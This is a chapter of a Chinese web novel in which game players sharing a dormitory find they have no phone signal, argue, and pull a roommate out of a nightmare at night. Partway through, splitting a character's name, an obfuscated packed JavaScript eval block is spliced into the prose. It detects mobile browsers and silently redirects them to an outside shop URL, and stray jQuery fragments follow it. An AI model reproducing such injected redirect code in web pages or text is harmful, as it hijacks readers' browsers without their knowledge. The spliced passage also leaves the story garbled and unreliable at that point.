众人回到宿舍,姜佑安一放下购物篮,就往门外走。
胡明叫住她:“你去干嘛?”
姜佑安头也不回,冷声道:“吹风。”
胡明心想,四周不是高墙,就是铁门,不知道吹的哪门子风。
姜佑安不知他心中所想,只觉得这人像路边嚼过的口香糖般黏脚。
她来到铁门前站定,视线随意落在门栓上。
刷满红漆的门扣处挂了一把沉甸甸的大锁,锁孔与她身上的钥匙相吻合。
她从兜里掏出手机,拨打联系人“爸爸”的电话,打算告诉他,自己未来几天都回不去的消息。
然而她刚按下电话拨号,屏幕立即弹窗提示“未在服务区”。
她定睛一看,手机信号栏一格信号也没有。
姜佑安这才明白,爸爸早就知道她回不去,所以一直没提回家的事。
她还以为早上说好的打电话,是下班后通知他来接自己。
姜佑安轻踹了一脚土砖,系统分配的父母简直是身在曹营心在汉,知道这么多事,也不给自己女儿提前说两句。
她真以为是来上班赚钱呢。
铁门边的地砖表面蹭出一片浅淡印记,姜佑安憋闷的心情舒缓不少。
她回到宿舍,坐在座位上休息,却突然感觉整个人软绵绵的,浑身使不出劲。
这下也顾不得身上脏、没洗澡的事了,她撑着一口气爬到上铺,倒头就睡。
等姜佑安醒来,下铺的章茴感觉到动静,从床上起身,抬头叮嘱:“先吃饭,再去洗澡。”
她看着已经换上睡衣的章茴,呆愣地点点头。
身上那股疲惫感来得快,去得也快,睡饱的姜佑安全然恢复了往日活力。
她一步步踩着爬梯下来,从购物篮里抽出精心挑选的晚餐。
吃饱喝足后,姜佑安才注意到,对面的几个男人一直斜眼看她,目光中饱含怨气。
见她终于吃完饭,胡明再也忍耐不住,冷嘲热讽地说:“大小姐,赶紧去洗澡吧,后面一群人等着呢。”
不等她开口,坐在旁边的章茴主动替她呛回去:“别以为进了游戏就可以不当人了,谁愿意在你们这群臭男人后面洗澡。”
姜佑安听到前半句时还在想,他们之间应该发生过很不愉快的事,这胡明当真是个恶人。听到后半句的时候,她才想起来,睡梦中曾听到一个女人像国王般发号施令:“晚点我和小安先洗澡,你们几个男人后面洗。”
当时她还惊讶,国王怎么下发了如此奇怪的任务。
憋屈的胡明在一旁吹胡子瞪眼,姜佑安没有理会。
其他人的确等了好一会儿,不能再耽搁了。
她麻利地收拾好换洗衣物,带上瓶瓶罐罐进了隔壁厕所。
在这种环境里谁也没心思把时间花在洗澡上,不过十几分钟,姜佑安推开厕所门,给密闭的空间通风排气。
她回到低矮的洗漱盆前,将内壁好好清理了一遍,然后认命地搓洗换下来的衣物。
庭院里似乎有人晃荡,姜佑安迅速把贴身衣物埋到最底下,同时侧头一看——那人哪是晃荡,分明就是冲着她来的。
江霁川往宿舍方向看了一眼,确认没人出来,他上前一步,压低嗓音提醒:“衣柜有自动清洁功能,你把换下来的衣服放进去就行。”
“好的,谢谢。”
江霁川离开之后,姜佑安还在暗自讶异衣柜的自动清洁功能。
她本来打算自己手洗,再找个地方把衣服晾晒起来,现在看来还是过于勤快了。
她不禁感慨,非监管地区真是一个神奇且高度人性化的地方。
姜佑安把打湿的衣服拧干,塞进塑料袋里。回到宿舍后,她将下层的工作服转移到上层,把手中的塑料袋放进了下层柜子里。
期间她仔细观察了一下衣柜内部,却没能看出它与普通衣柜的区别。
晚上十一点,大家都躺在床上,就连宿舍里的灯也都关了。
屋里一片漆黑,伸手不见五指。
张岱呼吸声很重,与他头对头睡的严永发不耐烦地翻了个身。
“严大哥,你还没睡啊?”张岱抓住机会开口。
严永发一声不吭,假装睡着的模样。
张岱一旦开了口,就再也止不住话头。他絮絮叨叨,坚信宿舍里的人没有睡。
“现在还早呢,你们也睡不着吧。
“要不然我们说说话,聊聊天。
“你们觉得今天晚上会出事吗?”
严永发越过护栏给他头上拍了一掌:“别说不吉利的话。”
张岱见有人搭理他,也不在乎头上那点痛了。他坐起身,伸出双手向隔壁摸索,嘴里不停嚷嚷:“严大哥,你在我旁边吗?”
严永发感觉到旁边床的摇晃,隐隐约约还看到了悬在上方的双手。
“小子,这点胆子就该老实睡觉,不要给别人添乱。”严永发一把握住他的手腕,语气低沉。
腕关节传来挤压的疼痛,手指更是逐渐酥麻,张岱不敢再作,连忙求饶:“严大哥,我知道错了,我这就睡觉,这就睡。”
他右手小幅度挣扎,不断乞求对方的宽恕。
严永发不欲与他纠缠,狠狠将他的手甩向一边。
张岱顺着这股力道歪倒在一旁,床架吱呀作响。
睡在他上铺的江霁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561418|204106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
川叹了口气,重重拍了两下床板。
张岱听懂了江霁川的意思,他缓慢躺下,勉强按耐住内心的恐惧。
他也不知道自己怎么了,脑中一直幻想诡异吃人的场景。尤其这种黑灯瞎火的情况,如果对方悄无声息地靠近他,他恐怕连怎么死的都不知道。
江霁川感觉床架晃动得厉害,他翻身下床,发现下铺的张岱呼吸格外急促,双眼紧闭,明显被魇住了。
他没有迟疑,一巴掌扇在了张岱的脸上。
一连串的巴掌声响起,宿舍里实在太黑,江霁川有时也不知道手掌落在了哪里。
他加重力道,连扇了好几下,对方终于悠悠转醒。
“嘶……”
张岱捂住头脸,又揉揉肩膀,只感觉哪里都痛,一双手根本照顾不过来。
“他怎么了?”姜佑安听见张岱疼得倒吸凉气的声音,知道人应该是没事了。
“中招了,应该是碰了不该碰的东西。”江霁川回道。
“他那个体型,走哪都能碰到不该碰的东西。”睡在严永发上铺的胡明忽然开口。
姜佑安听他一说,顿时想到了宿舍入住指南里的第四条规则。
胡明一定亲眼看到张岱触犯了规则,要不然他的语气不会那么笃定。
张岱显然也想到了这一点,他身上的疼痛还没消,就忙着指责胡明:“你看见了为什么不告诉我?”
胡明冷笑一声:“我可没说自己看到了。”
“指望坏人大发善心,我看你还是直接退出游戏吧。”章茴一句话骂了两个人。
姜佑安暗自思衬,章茴的实力不容小觑。胡明是个喜怒形于色的人,白天的时候他看自己不顺眼,就想给她来点教训。但章茴几次出言讥讽,甚至刀架在他脖子上,他依旧没有动手,想来过去在对方手里吃过不少亏。
白天章茴打探她的身份,引得几人心生怀疑,而后又三番五次地照料她。
对方行为着实古怪。
姜佑安想着想着,不自觉睡着了。
昏昏沉沉中,耳边传来敲门声。
咚、咚、咚,咚、咚、咚。
谁没带钥匙还敢出门,半梦半醒间姜佑安还在想万一没人给他开门怎么办。
*
翌日,姜佑安一大早就醒了,她轻手轻脚去隔壁刷牙洗脸,等回来的时候大家都起床了。
“昨晚你们听到敲门声了吗?”章茴问。
“听到了。”姜佑安回。
胡明用力搓了一把脸,漫不经心地说:“我半夜出去了。”
章茴一听不再关心这件事,只有姜佑安隐约感觉不对。
哪里出问题了?